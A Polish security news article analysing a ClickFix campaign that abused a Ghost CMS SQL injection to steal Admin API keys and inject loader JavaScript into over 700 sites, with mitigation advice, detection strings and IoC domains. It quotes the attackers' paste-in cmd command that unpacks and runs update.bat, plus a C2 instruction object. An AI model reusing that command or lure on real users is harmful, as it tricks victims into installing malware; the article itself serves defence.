Konferencja Mega Sekurak Hacking Party w Krakowie – 26-27 października!

Adminie… Czy znamy Twoje grzechy? ;-) Sprawdź!

Ponad 700 stron opartych na Ghost CMS zainfekowano fałszywą Captchą (ClickFix)

01 czerwca 2026, 12:51 | Aktualności | 0 komentarzy

Badacze z XLab wykryli kampanię wymierzoną w strony wykorzystujące Ghost CMS. Atakujący wykorzystał podatność SQL injection (CVE-2026-26980) do uzyskania klucza API, a następnie użył go do masowego modyfikowania treści, wstrzykując złośliwy kod JavaScript.

TLDR:

  • Atakujący wykorzystują podatność SQL injection (CVE-2026-26980) w Ghost CMS do kradzieży Admin API Key i masowego wstrzykiwania złośliwego JavaScriptu do artykułów.
  • Kampania objęła ponad 700 domen, w tym strony uczelni, SaaS, fintech i mediów.
  • Wstrzyknięty loader pobiera z serwera C2 kolejne etapy ataku prowadzące do kampanii ClickFix/Fake CAPTCHA.
  • Ofiary są nakłaniane do ręcznego uruchomienia malware poprzez fałszywą weryfikację Cloudflare.

Chociaż podatność CVE-2026-26980 została publicznie ujawniona już 19 lutego, wiele stron nie zostało załatanych, co stworzyło okazję dla atakujących. Badacze zidentyfikowali łącznie ponad 700 domen, które zostały zainfekowane – mowa o stronach uniwersytetów, SaaS, fintech, mediów, ale także blockchain czy AI.

Źródłem problemu jest podatność CVE-2026-26980 (SQL injection), która pozwalała atakującym odczytać zawartość baz danych – w tym klucz API. Ghost korzysta z dwóch typów kluczy:

  • Content API Key: domyślnie tylko do odczytu, używany przez frontend do wyświetlania opublikowanych treści;
  • Admin API Key: posiada uprawnienia administracyjne do artykułów, motywów, użytkowników itd. i może wykonywać na nich operacje CRUD;

Po pomyślnym uzyskaniu klucza Admin API Key docelowej strony atakujący modyfikuje treść artykułów poprzez API, wstawiając złośliwy kod na dole artykułu.

Rys. 1 – złośliwy kod JS, źródło: blog.xlab.qianxin.com

Dla funkcji atob() podano jako parametr zakodowany w Base64 adres serwera C2 (https[:]//clo4shara[.]xyz/11z77u3[.]php). Całość jest przykładem dwuetapowego loadera: pierwszy etap zostaje zapisany w bazie danych Ghost dla danego artykułu, a właściwy payload jest zwracany przez C2. Atakujący może więc zmieniać scenariusz ataku bez konieczności ponownego przejmowania strony.

Badacze pobrali z C2 fragment kodu, który jest w rzeczywistości typowym skryptem dystrybucji ruchu. Jego główną funkcją jest zbieranie różnych informacji fingerprint z przeglądarki użytkownika i wysyłanie ich na serwer, a następnie wykonywanie działań takich jak przekierowania, popupy i pobierania na podstawie zwróconych instrukcji. Po analizie uważamy, że ten skrypt PHP nie został opracowany niezależnie przez atakujących, lecz pochodzi od komercyjnego dostawcy usług Cloaking Adspect. W złośliwych scenariuszach technologia Cloaking umożliwia witrynom dynamiczne przełączanie treści w zależności od tożsamości odwiedzającego: prawdziwe ofiary otrzymują złośliwy payload, podczas gdy badacze bezpieczeństwa lub crawlery widzą jedynie nieszkodliwą „bezpieczną stronę”.

Zbieranie fingerprintów

Kod tworzy fingerprint ofiary z wielu informacji, takich jak przeglądarka, system i hardware (np. parametry WebGL, Navigator, strefa czasowa itd.). Wygenerowany w ten sposób identyfikator jest przesyłany do serwera C2.

Rys. 2 – złośliwy kod JS, źródło: blog.xlab.qianxin.com

Zdalna kontrola

Kod umożliwia wykonywanie dowolnego kodu JavaScript w przeglądarce ofiary na podstawie instrukcji otrzymanych z serwera.

Rys. 3 – złośliwy kod JS, źródło: blog.xlab.qianxin.com

Oto instrukcje, jakie zwracano w tej kampanii:

window._adata = {  “ok”: true,  “action”: “iframe”,  “cid”: “69fca6a9ad57095d”,  “js”: false,  “target”: “https://cloud-verification[.]com”};

Listing 1 – instrukcje dla funkcji w(a), źródło: blog.xlab.qianxin.com

Skrypt tworzył więc element iframe, powodując załadowanie przez przeglądarkę strony kolejnego etapu ataku – cloud-verification[.]com.

Z perspektywy użytkownika przeglądarka wyświetla stronę “weryfikacji” podszywającej się pod Cloudflare:

Rys. 4 – fałszywa weryfikacja Cloudflare, źródło: blog.xlab.qianxin.com

Atak socjotechniczny ClickFix

Strona wspomniana w poprzednim rozdziale podszywa się pod mechanizm weryfikacji Cloudflare. Jest to znana nam metoda, o której pisaliśmy już na sekuraku.

Gdy użytkownik kliknie “Verify”, strona prowadzi go do wykonania kolejno trzech kroków w celu przejścia weryfikacji:

Rys. 4 – instrukcje do fałszywej weryfikacji, źródło: blog.xlab.qianxin.com

Równocześnie strona uruchamia opóźnione o 500 milisekund (zapewne aby zmniejszyć szanse na zauważenie przez użytkownika) pobieranie pliku z https[:]//cloud-verification[.]com/update[.]zip.

Pobrany payload ma zostać uruchomiony przez użytkownika, za pomocą polecenia, które strona umieszcza w jego schowku:

cmd /c “move %USERPROFILE%\Downloads\update.zip %TEMP%\u.zip && tar -xf %TEMP%\u.zip -C %TEMP% && start /min “” %TEMP%\update.bat” & REM* I am not a robot reCAPTCHA Verification ID:2771

Listing 2 – złośliwe komendy do wklejenia, źródło: blog.xlab.qianxin.com

Po uruchomieniu złośliwych poleceń archiwum ZIP przenoszone jest z pobranych do katalogu tymczasowego, a następnie rozpakowane. Na koniec w tle wykonywany jest złośliwy plik update.bat. Ostatnia linia pozoruje kod weryfikacyjny reCAPTCHA, zapewne w celu uśpienia czujności użytkownika.

Badacze zidentyfikowali 4 różne adresy pobierania – ich podstawowa logika jest jednak taka sama: pobranie pliku DLL i wywołanie funkcji Begin przez rundll32. Jedna z próbek uruchamia plik kolejnego etapu – UtilifySetup.exe – który jest programem opartym na Electronie.

Rys. 5 – fragment index.js złośliwej aplikacji Electron, źródło: blog.xlab.qianxin.com

Po deobfuskacji nietrudno zauważyć, że wykorzystuje wbudowane w Electron API setLoginItemSettings do osiągnięcia persystencji, a dodatkowo co 30 sekund wysyła żądanie POST do serwera web-telegram[.]ug. Zależnie od otrzymanej odpowiedzi, malware może wykonywać dowolny kod JS lub uruchamiać pliki wykonywalne.

Jeśli korzystacie z Ghost, upewnijcie się, czy używacie aktualnej wersji. Jeśli nie – pilnie zaktualizujcie do najnowszej dostępnej.

W ramach sprawdzenia, czy strona nie padła ofiarą ataku, polecamy sprawdzić treść wpisów – czy zawierają którykolwiek z poniższych fragmentów:

  • sj.ssc/ipa/ lub ghost_once_footer_
  • atob( i appendChild występujące razem w treści artykułu
  • btoa(a.origin)

Warto także sprawdzić logi backendu pod kątem nietypowych żądań PUT do /ghost/api/admin/posts/:id/, zwłaszcza pochodzących z nieznanych adresów IP. Dodatkowe obszary do sprawdzenia to konfiguracja i pliki motywów – czy nie zostały dodane dodatkowe tagi <script> – oraz lista kluczy API Ghost.

W przypadku znalezienia złośliwej zawartości, zalecamy zrotowanie wszelkich poświadczeń: Admin API Key, Content API Key, hasło administratora, unieważnienie aktywnych sesji. Oczywiście należy także usunąć dodaną do treści strony złośliwą zawartość.

Z poziomu użytkownika można sprawdzić historię przeglądania i pobierania, szukając w niej złośliwych domen (pełna lista na końcu tekstu). Kluczowa jest jednak świadomość w zakresie cyberbezpieczeństwa. Nie należy wklejać jakichkolwiek treści w oknie uruchamiania, wierszu poleceń, pasku Eksploratora plików ani w konsoli przeglądarki, jeśli zostajemy o to poproszeni.

W organizacjach warto rozważyć całkowite zablokowanie okna Windows Run – zazwyczaj nie jest to niezbędne narzędzie, a stanowi łatwą metodę na pobranie i uruchomienie złośliwego oprogramowania w pozornie “niewinny” sposób. O tym, jak je zablokować, wspominaliśmy pod koniec tego tekstu.

IoC

Domeny C2:

  • clo4shara[.]xyz
  • cloud-verification[.]com
  • jalwat[.]com
  • com-apps[.]cc
  • web-telegram[.]ug
  • staticcloudflare[.]pro
  • script-dev[.]buzz
  • updatesecurity[.]pro
  • updatefilescf[.]top
  • static-file[.]digital
  • download-file[.]today
  • updatefile-cf[.]dgital
  • script-dev[.]digital
  • updatefile-cf[.]top
  • script-dev[.]xyz

Źródło: blog.xlab.qianxin.com

~Tymoteusz Jóźwiak

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

Odpowiedz